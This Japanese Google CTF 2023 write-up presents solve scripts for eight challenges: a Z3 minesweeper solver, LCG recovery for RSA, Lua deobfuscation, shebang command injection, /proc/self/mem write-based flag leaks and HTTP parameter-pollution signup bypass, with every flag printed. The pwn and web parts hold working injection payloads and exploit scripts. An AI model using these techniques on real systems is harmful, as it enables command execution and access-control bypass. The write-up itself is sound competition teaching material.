Google CTF 2023 writeup

https://github.com/google/google-ctf/tree/master/2023

8問、688位、93位。

![capturetheflag.withgoogle.com_team.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/6b1453bf-18cc-2d3f-73b2-e72fc5f83bbe.png)

## misc

### MINE THE GAP

3600×1632マスのマインスイーパー。普通のマインスイーパーと違って、マスを開けることはせず、旗を立てるだけ。また、最初から立っている旗を消すことはできない。

一部を見るとこんな感じ。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/30168be8-4f3c-550b-1d48-7990400c519e.png)

全体はこう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/2b8dd1fe-4797-a55a-70af-b586bd9f5458.png)

論理回路になっているので、各部分がどういうゲートなのかを読み取って、[Z3](https://github.com/Z3Prover/z3) に掛ければ解けそう。面倒だな。マインスイーパーの問題をそのまま投げても解けた。

未確定のマスを変数にし、周囲に未確定のマスがある数字から制約を作る。

```solve.py
from z3 import *
import hashlib

B = open("gameboard.txt", "r").read().replace(" ", "0").split()
#B = open("small.txt", "r").read().replace(" ", "0").split()
B = [[int(x, 16) for x in b] for b in B]
H = len(B)
W = len(B[0])

s = Solver()
V = {}

for y in range(H):
    for x in range(W):
        if B[y][x]==9:
            v = Int(f"{x}_{y}")
            s.add(0<=v, v<=1)
            V[(x, y)] = v
print(f"{len(V)=}")

DX = [-1, 0, 1, 1, 1, 0, -1, -1]
DY = [-1, -1, -1, 0, 1, 1, 1, 0]
cn = 0
for y in range(1, H-1):
    for x in range(1, W-1):
        if 1<=B[y][x]<=8:
            fn = 0
            nn = 0
            for d in range(8):
                tx = x+DX[d]
                ty = y+DY[d]
                if B[ty][tx]==11:
                    fn += 1
                if B[ty][tx]==9:
                    nn += 1
            if nn>0:
                c = None
                for d in range(8):
                    tx = x+DX[d]
                    ty = y+DY[d]
                    if B[ty][tx]==9:
                        if c is None:
                            c = V[(tx, ty)]
                        else:
                            c = c+V[(tx, ty)]
                s.add(c==B[y][x]-fn)
                cn += 1
print(f"{cn=}")

if s.check()!=sat:
    print("NG")
    exit()

m = s.model()
for k in V:
    if m[V[k]].as_long()==1:
        B[k[1]][k[0]] = 10

result = "\n".join("".join(f"{x:X}" for x in b) for b in B).replace("0", " ")
open("result.txt", "wt").write(result)

bits = []
for x in range(W):
    bit = 1 if B[23][x] in [10, 11] else 0
    bits.append(bit)
flag = hashlib.sha256(bytes(bits)).hexdigest()
print(f'Flag: CTF{{{flag}}}')
```

```shell-session
$ time python3 solve.py
len(V)=188016
cn=563893
Flag: CTF{d8675fca837faa20bc0f3a7ad10e9d2682fa0c35c40872938f1d45e5ed97ab27}

real    7m10.350s
user    7m2.343s
sys     0m7.561s
```

`CTF{d8675fca837faa20bc0f3a7ad10e9d2682fa0c35c40872938f1d45e5ed97ab27}`

### PAPAPAPA

真っ白なJpeg画像。

適当に先頭のほうの1バイトを書き換えてグリッチさせたらフラグが出てきた。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/d9a63388-61a3-8efb-aa23-b064d1963760.png)

`CTF{rearview-monorail-mullets-backroom-stopped}`

## crypto

### LEAST COMMON GENOMINATOR?

線形合同法（Linear congruential generators、LCG）による乱数で、素数が8個のRSA暗号をしている。乱数のパラメタは秘密だが、seedと最初の6個の乱数は与えられる。

乱数のパラメタはここに書いてある方法で推測できる。

https://satto.hatenadiary.com/entry/solve-LCG

```solve.py
X = [
    211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635,
    2166771675595184069339107365908377157701164485820981409993925279512199123418374034275465590004848135946671454084220731645099286746251308323653144363063385,
    6729272950467625456298454678219613090467254824679318993052294587570153424935267364971827277137521929202783621553421958533761123653824135472378133765236115,
    2230396903302352921484704122705539403201050490164649102182798059926343096511158288867301614648471516723052092761312105117735046752506523136197227936190287,
    4578847787736143756850823407168519112175260092601476810539830792656568747136604250146858111418705054138266193348169239751046779010474924367072989895377792,
    7578332979479086546637469036948482551151240099803812235949997147892871097982293017256475189504447955147399405791875395450814297264039908361472603256921612,
    2550420443270381003007873520763042837493244197616666667768397146110589301602119884836605418664463550865399026934848289084292975494312467018767881691302197,
]

import math

T = [x1-x0 for x0, x1 in zip(X[:-1], X[1:])]
n = math.gcd(
    T[2]*T[0]-T[1]*T[1],
    T[3]*T[1]-T[2]*T[2],
    T[4]*T[2]-T[3]*T[3],
)
print(f"{n=}")
m = T[1]*pow(T[0], -1, n)%n
print(f"{m=}")
c = (X[1]-m*X[0])%n
print(f"{c=}")

assert X[6]==(X[5]*m+c)%n
```

```shell-session
$ python3 solve.py
n=8311271273016946265169120092240227882013893131681882078655426814178920681968884651437107918874328518499850252591810409558783335118823692585959490215446923
m=99470802153294399618017402366955844921383026244330401927153381788409087864090915476376417542092444282980114205684938728578475547514901286372129860608477
c=3910539794193409979886870049869456815685040868312878537393070815966881265118275755165613835833103526090552456472867019296386475520134783987251699999776365
```

問題のソースコードを書き換えて復号。

```generate2.py
#from secret import config
class C:
    pass
config = C()
config.m = 99470802153294399618017402366955844921383026244330401927153381788409087864090915476376417542092444282980114205684938728578475547514901286372129860608477
config.c = 3910539794193409979886870049869456815685040868312878537393070815966881265118275755165613835833103526090552456472867019296386475520134783987251699999776365
config.n = 8311271273016946265169120092240227882013893131681882078655426814178920681968884651437107918874328518499850252591810409558783335118823692585959490215446923
config.it = 8
config.bits = 512
config.e = 65537

from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, isPrime

class LCG:
    lcg_m = config.m
 :
    # Calculate private key 'd'
    d = pow(config.e, -1, phi)

    enc = int.from_bytes(open("flag.txt", "rb").read(), "little")
    flag = pow(enc, d, n)
    print(flag.to_bytes(n.bit_length(), "big").decode())
```

```shell-session
$ python3 generate2.py
[+] Public Key:  10663197782188755187683519128391607889384236984841159980368295444757556251666173181966270935627381363634363152017932100870866073743196496182631686860974529519304898483583880797787662017633083156395595834399833548697123723014690019039843286516441722069672629491734333533874814655021750465470744221908153042891598629847474248035637833322061522018106952433195747728295433960640630861246440503259390376775374597599893181929337896828585045200809527092809746018806372033463639511758548910283175609247004446838778595246305426570138737826179346237355482797652195577697810275921391495040635386160960077290295503041318571091585994232128977189250560450541724526298324540333633756525782039764692046496665886338829810667477580556894564708344208454824227841439832096019161139930247745872364451624685509376111571650368725564985474387879414080347347860850162991841345901292668284154455326375190710973306072342463052980587717861754724857153296737480485351289440257347649463959856275061657492903860650820592573032713540474706170687783458640870091611869081448943812812946839710972240290444677129959352614435646729998203754847928052523568784250017348717982594389028978174915940120215557880850880860400503991453968452316505964854586987874049061874850121
[+] size:  4090 bits
CTF{C0nGr@tz_RiV35t_5h4MiR_nD_Ad13MaN_W0ulD_b_h@pPy}
```

`CTF{C0nGr@tz_RiV35t_5h4MiR_nD_Ad13MaN_W0ulD_b_h@pPy}`

## pwn

### STORYGEN

```chal.py
 :
name = input("What's your name?\n")
where = input("Where are you from?\n")

def sanitize(s):
  return s.replace("'", '').replace("\n", "")

name = sanitize(name)
where = sanitize(where)

STORY = """

#@NAME's story

NAME='@NAME'
WHERE='@WHERE'

echo "$NAME came from $WHERE. They always liked living there."
echo "They had 3 pets:"
 :
"""


open("/tmp/script.sh", "w").write(STORY.replace("@NAME", name).replace("@WHERE", where).strip())
os.chmod("/tmp/script.sh", 0o777)

while True:
  s = input("Do you want to hear the personalized, procedurally-generated story?\n")
  if s.lower() != "yes":
    break
  print()
  print()
  os.system("/tmp/script.sh")
  print()
  print()

print("Bye!")
```

`'` と改行を削除してシェルスクリプトに与えた文字列を埋め込み、実行する。

`'...'` の中は `'` 以外は何でも書けるのでどうしようもない。`#@NAME's story` の部分を使う。改行はできないが、shebang（スクリプトの1行目にある `#!/bin/sh` ）と認識させることはできる。

これに気が付いたら終わりかと思ったけど、意外と難しい。

```shell
#!/usr/bin/ls -al / 's story
```

と書くと、

```shell-session
$ /usr/bin/ls "-al / 's story" /tmp/script.sh
```

が実行されるらしい。

envの `-S` オプションが、1個の引数を空白で区切って複数の引数にしてくれる。これだけだと `'s story` の `'` のせいで上手く行かない。末尾にNUL文字を入れたら何とかなった。

```attack.py
from pwn import *
import time

s = remote("storygen.2023.ctfcompetition.com", 1337)
s.sendlineafter(b"What's your name?\n", b"!/usr/bin/env -S ls -al /\0")
s.sendlineafter(b"Where are you from?\n", b"aaa")
s.sendlineafter(b"Do you want to hear the personalized, procedurally-generated story?\n", b"yes")
time.sleep(1)
print(s.recv(9999).decode())
```

```shell-session
$ python3 attack.py
[+] Opening connection to storygen.2023.ctfcompetition.com on port 1337: Done


-rwxrwxrwx  1 user   user     600 Jun 25 13:16 /tmp/script.sh

/:
total 80
drwxr-xr-x  17 nobody nogroup  4096 Jun 23 17:34 .
drwxr-xr-x  17 nobody nogroup  4096 Jun 23 17:34 ..
lrwxrwxrwx   1 nobody nogroup     7 Jun  5 14:02 bin -> usr/bin
drwxr-xr-x   2 nobody nogroup  4096 Apr 18  2022 boot
drwxr-xr-x   2 nobody nogroup  4096 Jun  5 14:05 dev
drwxr-xr-x  34 nobody nogroup  4096 Jun 23 17:34 etc
-rw-r--r--   1 nobody nogroup    50 Jun  9 01:02 flag
---x--x--x   1 nobody nogroup 16056 Jun  9 01:02 get_flag
drwxr-xr-x   3 nobody nogroup  4096 Jun 23 17:34 home
 :
```

`!/usr/bin/env -S cat /flag\0` で、

```
To get the flag, run "/get_flag Give flag please"
#!/usr/bin/env -S cat /flag\x00's story

NAME='!/usr/bin/env -S cat /flag\x00'
WHERE='aaa'
 :
```

`!/usr/bin/env -S /get_flag Give flag please\0` とすると、

```
Usage: /get_flag Give flag please
```

`/tmp/script.sh` も引数として渡されるのがダメっぽい。

`!/usr/bin/env -S sh -c "/get_flag Give flag please"\0` でいけた。

`CTF{Sh3b4ng_1nj3cti0n_ftw}`

### WRITE-FLAG-WHERE

ソースコード無し。付けてくれても良くない？　あと、なぜか手元（WSL上のUbuntu）では動かない。stdoutから読み込もうとしているのが悪いのか？

Ghidraで見ると、こんな処理。

```c
char maps[0x1000];
char flag[0x80];

int main()
{
    int fmap = open("/proc/self/maps", 0);
    read(fmap, maps, 0x1000);

    int fflag = open("./flag.txt", 0);
    if (fflag==-1) {
        puts("flag.txt not found");
        return 1;
    }
    int n = read(fflag, flag, 0x80);
    if (n==0) {
        puts("flag.txt empty");
        return 1;
    }
    close(fflag);

    int fstdout = dup2(1, 1337);
    int fnull = open("/dev/null", 2);
    dup2(fnull, 0);
    dup2(fnull, 1);
    dup2(fnull, 2);
    close(fnull);

    alarm(60);
    dprintf(fstdout, "This challenge ...");
    dprintf(fstdout, "%s\n\n", maps);

    while (true) {
        dprintf(fstdout, "Give me ...");
        char buf[0x40] = {};
        read(fstdout, buf, 0x40);
        long offset;
        int size;
        int n = sscanf(buf, "0x%llx %u", &offset, &size);
        if (n!=2 || size>0x7f)
            break;

        int fmem = open("/proc/self/mem", 2);
        lseek64(fmem, offset, 0);
        write(fmem, flag, size);
        close(fmem);
    }
    exit(0);
}
```

要は、指定したアドレスにフラグの指定したバイト数を書き込んでくれる。ただし、標準入出力は潰されている。

この問題は2と3が続く。こういうときは2や3との差分を見ましょう。2は `dprintf(fstdout, "Give me ...")` がループの外に出ていた。3はアドレスが問題バイナリ周辺の場合に弾かれていた。それなら、問題バイナリに対応するアドレスにフラグを書き込ませて、 `dprintf` を利用するのでしょう。

ぱっと思いつくのは `"Give me ..."` の文字列を書き換えることだけど、読み取り専用セクションにあるから書き換えられないよなぁ。一応試してみるか。書き換えられたわ。/proc/self/mem 経由だとパーミッションが無視されるのか？

```shell-session
$ nc wfw1.2023.ctfcompetition.com 1337
== proof-of-work: disabled ==
This challenge is not a classical pwn
In order to solve it will take skills of your own
An excellent primitive you get for free
Choose an address and I will write what I see
But the author is cursed or perhaps it's just out of spite
For the flag that you seek is the thing you will write
ASLR isn't the challenge so I'll tell you what
I'll give you my mappings so that you'll have a shot.
55909e2bf000-55909e2c0000 r--p 00000000 00:11e 810424                    /home/user/chal
55909e2c0000-55909e2c1000 r-xp 00001000 00:11e 810424                    /home/user/chal
55909e2c1000-55909e2c2000 r--p 00002000 00:11e 810424                    /home/user/chal
55909e2c2000-55909e2c3000 r--p 00002000 00:11e 810424                    /home/user/chal
55909e2c3000-55909e2c4000 rw-p 00003000 00:11e 810424                    /home/user/chal
 :
Give me an address and a length just so:
<address> <length>
And I'll write it wherever you want it to go.
If an exit is all that you desire
Send me nothing and I will happily expire
0x55909e2c11e0 100
CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}
```

`CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}`

### WRITE-FLAG-WHERE2

前述したように、ループの中の `dprintf` が消えた。

```c
int n = sscanf(buf, "0x%llx %u", &offset, &size);
```

を使う。初期指定文字列を `Xx%llx %u` と書き換えたとする。このとき、 `Xx0000 100` と書き込めば `n=2` になる。一方、 `Ax0000 100` などと書き込むと、`n=0` となってプログラムが終了する。`X` の部分がフラグの一部になるようにして、1文字ずつ特定していく。

Pwntoolsでプログラムが終了したか（接続が切断されたか）を判定する方法が分からない。 `s.closed` があってこれかなと思ったけど、 `True` にならない。 `recv` で例外が飛ぶかどうかで判定した。

```attack.py
from pwn import *
import time

context.log_level = "error"

flag = ""
for i in range(100):
    for c in range(0x20, 0x7f):
        c = chr(c)

        s = remote("wfw2.2023.ctfcompetition.com", 1337)
        for _ in range(5):
            s.readline()
        rodata = int(s.readline().decode().split("-")[0], 16)

        t = f"{hex(rodata+0xbc-i)} {i+1}"
        s.sendline(t.encode())
        s.sendline((c+t[1:]).encode())
        ok = True
        try:
            while True:
                if s.recv(timeout=1)==b"":
                    break
        except:
            ok = False

        s.close()

        if ok:
            flag += c
            print(flag)
            break

    if flag[-1]=="}":
        break
```

```shell-session
$ python3 attack.py
C
CT
CTF
CTF{
CTF{i
CTF{im
 :
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}
```

`CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}`

## reversing

### ZERMATT

難読化Lua。5.4では動かなかったが、5.3なら動いた。

[StyLua](https://github.com/JohnnyMorganz/StyLua) で整形。途中でインデントの深さが200くらいになっている。

```zermatt2.lua
do
    local v0 = string.char
    local v1 = string.byte
    local v2 = string.sub
    local v3 = bit32 or bit
    local v4 = v3.bxor
    local v5 = table.concat
    local v6 = table.insert
    local function v7(v24, v25)
        local v26 = 0
        local v27
        while true do
            if v26 == 1 then
                return v5(v27)
            end
            if v26 == 0 then
                v27 = {}
                for v44 = 1, #v24 do
                    v6(
                        v27,
                        v0(
                            v4(
                                v1(v2(v24, v44, v44 + 1)),
                                v1(v2(v25, 1 + ((v44 - 1) % #v25), 1 + ((v44 - 1) % #v25) + 1))
                            ) % 256
                        )
                    )
                end
                v26 = 1
            end
        end
    end
    local v8 = _G[v7("\79\15\131\30\40\13\20\203", "\59\96\237\107\69\111\113\185")]
    local v9 = _G[v7("\55\2\190\232\63\247", "\68\118\204\129\81\144\122")][v7(
        "\12\180\100\225",
        "\110\205\16\132\107\85\33\139"
    )]
 :
```

ここが怪しい。

```zermatt2.lua
 :
    v23(
        "matt1c3o0003063o00737472696e6703043o006368617203043o00627974652o033o0073756203053o0062697433322o033o0062697403043o0062786f7203053o007461626c6503063o00636f6e63617403063o00696e7365727403023o00696f03053o00777269746503293o00205o5f9o204o205f5o203o5f205o5f204o5f200a03293o007c3o202o5f7c3o5f203o5f203o5f7c207c3o5f7c3o207c5f3o205f7c2o202o5f7c0a03293o007c2o207c2o207c202e207c202e207c202e207c207c202d5f7c202d3c2o207c207c207c2o202o5f7c0a03293o007c5o5f7c3o5f7c3o5f7c5f2o207c5f7c3o5f7c3o5f7c207c5f7c207c5f7c3o200a032a3o009o205o207c3o5f7c7o205a65724d612o74202d206d697363200a03023o00409103083o007eb1a3bb4586dba703013o007303043o007265616403373o00df17eb31e4e81cc12fc4ef37f223d1c334cc39faf22cd915c4c321d43ec0ff2cc92ffafe22de2ffaef22c32ec7f33bf22fd6ff22dd2fd803053o009c43ad4aa503053o007072696e742o033o00711d9903073o002654d72976dc4603043o00d27f250703053o009e30764272004a3o00121b3o00013o0020185o000200121b000100013o00201800010001000300121b000200013o00201800020002000400121b000300053o0006160003000a000100010004033o000a000100121b000300063o00201800040003000700121b000500083o00201800050005000900121b000600083o00201800060006000a00060900073o000100062o00063o00064o00068o00063o00044o00063o00014o00063o00024o00063o00053o00121b0008000b3o00201800080008000c00120e0009000d4o000700080002000100121b0008000b3o00201800080008000c00120e0009000e4o000700080002000100121b0008000b3o00201800080008000c00120e0009000f4o000700080002000100121b0008000b3o00201800080008000c00120e000900104o000700080002000100121b0008000b3o00201800080008000c00120e000900114o000700080002000100121b0008000b3o00201800080008000c2o0006000900073o00120e000a00123o00120e000b00134o000f0009000b4o001c00083o000100121b0008000b3o0020180008000800152o001d000800010002001211000800143o00121b000800144o0006000900073o00120e000a00163o00120e000b00174o00190009000b000200060400080043000100090004033o0043000100121b000800184o0006000900073o00120e000a00193o00120e000b001a4o000f0009000b4o001c00083o00010004033o0049000100121b000800184o0006000900073o00120e000a001b3o00120e000b001c4o000f0009000b4o001c00083o00012o000c3o00013o00013o00023o00026o00f03f026o00704002284o000800025o00120e000300014o001200045o00120e000500013o0004150003002300012o000d00076o0006000800024o000d000900014o000d000a00024o000d000b00034o000d000c00044o0006000d6o0006000e00063o002005000f000600012o000f000c000f4o000b000b3o00022o000d000c00034o000d000d00044o0006000e00013o002001000f000600012o0012001000014o0013000f000f0010001017000f0001000f0020010010000600012o0012001100014o00130010001000110010170010000100100020050010001000012o000f000d00104o0014000c6o000b000a3o0002002002000a000a00022o00100009000a4o001c00073o000100040a0003000500012o000d000300054o0006000400024o001a000300046o00036o000c3o00017o00283o00093o000a3o000a3o000a3o000a3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000b3o000a3o000d3o000d3o000d3o000d3o000e3o004a3o00013o00013o00023o00023o00033o00033o00043o00043o00043o00043o00053o00063o00063o00073o00073o000e3o000e3o000e3o000e3o000e3o000e3o000e3o000f3o000f3o000f3o000f3o00103o00103o00103o00103o00113o00113o00113o00113o00123o00123o00123o00123o00133o00133o00133o00133o00143o00143o00143o00143o00143o00143o00143o00153o00153o00153o00153o00163o00163o00163o00163o00163o00163o00163o00173o00173o00173o00173o00173o00173o00173o00193o00193o00193o00193o00193o00193o001a3o00",
        v17(),
        ...
    )
 :
```

この長い文字列は、ここで `v28` に入っており、なんか変換して再代入されている。

```zermatt2.lua
 :
v28 = v12(v11(v28, 5), v7("\168\122", "\134\84\208\67"), function(v86)
 :
```

変換後のものをダンプ。

```shell-session
$ hexdump -C bytecode.luac
00000000  1c 00 00 00 03 06 00 00  00 73 74 72 69 6e 67 03  |.........string.|
00000010  04 00 00 00 63 68 61 72  03 04 00 00 00 62 79 74  |....char.....byt|
00000020  65 03 03 00 00 00 73 75  62 03 05 00 00 00 62 69  |e.....sub.....bi|
00000030  74 33 32 03 03 00 00 00  62 69 74 03 04 00 00 00  |t32.....bit.....|
00000040  62 78 6f 72 03 05 00 00  00 74 61 62 6c 65 03 06  |bxor.....table..|
00000050  00 00 00 63 6f 6e 63 61  74 03 06 00 00 00 69 6e  |...concat.....in|
00000060  73 65 72 74 03 02 00 00  00 69 6f 03 05 00 00 00  |sert.....io.....|
00000070  77 72 69 74 65 03 29 00  00 00 20 5f 5f 5f 5f 5f  |write.)... _____|
00000080  20 20 20 20 20 20 20 20  20 20 20 20 20 5f 20 20  |             _  |
00000090  20 20 20 5f 5f 5f 20 5f  5f 5f 5f 5f 20 5f 5f 5f  |   ___ _____ ___|
000000a0  5f 20 0a 03 29 00 00 00  7c 20 20 20 5f 5f 7c 5f  |_ ..)...|   __|_|
000000b0  5f 5f 20 5f 5f 5f 20 5f  5f 5f 7c 20 7c 5f 5f 5f  |__ ___ ___| |___|
000000c0  7c 20 20 20 7c 5f 20 20  20 5f 7c 20 20 5f 5f 7c  ||   |_   _|  __||
000000d0  0a 03 29 00 00 00 7c 20  20 7c 20 20 7c 20 2e 20  |..)...|  |  | . |
000000e0  7c 20 2e 20 7c 20 2e 20  7c 20 7c 20 2d 5f 7c 20  || . | . | | -_| |
000000f0  2d 3c 20 20 7c 20 7c 20  7c 20 20 5f 5f 7c 0a 03  |-<  | | |  __|..|
00000100  29 00 00 00 7c 5f 5f 5f  5f 5f 7c 5f 5f 5f 7c 5f  |)...|_____|___|_|
00000110  5f 5f 7c 5f 20 20 7c 5f  7c 5f 5f 5f 7c 5f 5f 5f  |__|_  |_|___|___|
00000120  7c 20 7c 5f 7c 20 7c 5f  7c 20 20 20 0a 03 2a 00  || |_| |_|   ..*.|
00000130  00 00 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |..              |
00000140  7c 5f 5f 5f 7c 20 20 20  20 20 20 20 5a 65 72 4d  ||___|       ZerM|
00000150  61 74 74 20 2d 20 6d 69  73 63 20 0a 03 02 00 00  |att - misc .....|
00000160  00 40 91 03 08 00 00 00  7e b1 a3 bb 45 86 db a7  |.@......~...E...|
00000170  03 01 00 00 00 73 03 04  00 00 00 72 65 61 64 03  |.....s.....read.|
00000180  37 00 00 00 df 17 eb 31  e4 e8 1c c1 2f c4 ef 37  |7......1..../..7|
00000190  f2 23 d1 c3 34 cc 39 fa  f2 2c d9 15 c4 c3 21 d4  |.#..4.9..,....!.|
000001a0  3e c0 ff 2c c9 2f fa fe  22 de 2f fa ef 22 c3 2e  |>..,./.."./.."..|
000001b0  c7 f3 3b f2 2f d6 ff 22  dd 2f d8 03 05 00 00 00  |..;./.."./......|
000001c0  9c 43 ad 4a a5 03 05 00  00 00 70 72 69 6e 74 03  |.C.J......print.|
000001d0  03 00 00 00 71 1d 99 03  07 00 00 00 26 54 d7 29  |....q.......&T.)|
000001e0  76 dc 46 03 04 00 00 00  d2 7f 25 07 03 05 00 00  |v.F.......%.....|
000001f0  00 9e 30 76 42 72 00 4a  00 00 00 12 1b 00 00 00  |..0vBr.J........|
00000200  01 00 00 00 20 18 00 00  00 00 00 02 00 12 1b 00  |.... ...........|
 :
```

バイトコード？　0x184バイトあたりエントロピーが高い。もとのソースコードの `v7` のアルゴリズムで暗号化されているのかなと思って、0x1c0バイトのバイト列を鍵として復号してみたらフラグだった。

```decode.py
C = bytes.fromhex("df17eb31e4e81cc12fc4ef37f223d1c334cc39faf22cd915c4c321d43ec0ff2cc92ffafe22de2ffaef22c32ec7f33bf22fd6ff22dd2fd8")
K = bytes.fromhex("9c43ad4aa5")

P = [C[i]^K[i%len(K)] for i in range(len(C))]
print(bytes(P).decode())
```

```shell-session
$ python3 decode.py
CTF{At_least_it_was_not_a_bytecode_base_sandbox_escape}
```

`CTF{At_least_it_was_not_a_bytecode_base_sandbox_escape}`

## web

### UNDER-CONSTRUCTION

> We were building a web app but the new CEO wants it remade in php.

PythonからPHPに移行するらしい。大変そう。

ユーザー登録機能はPython版にあり、裏でPHP版にそのままリクエストを転送して、PHP版でもユーザー登録がされるようになっている。PHP版のユーザー登録機能は直接叩けない。

`tier` というパラメタを `"gold"` にして登録すればPHP版からフラグが得られるが、Python版では `"gold"` は弾かれる。挙動が違うようなリクエストを送れば良いでしょう。

```shell-session
$ curl \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=kusano8&password=depT........&tier=blue&tier=gold' \
  https://under-construction-web.2023.ctfcompetition.com/signup
```

これでいけた。`tier` を2回書くと、PHP版では1個目を見て、Python版では2個目を見るらしい。

`CTF{ff79e2741f21abd77dc48f17bab64c3d}`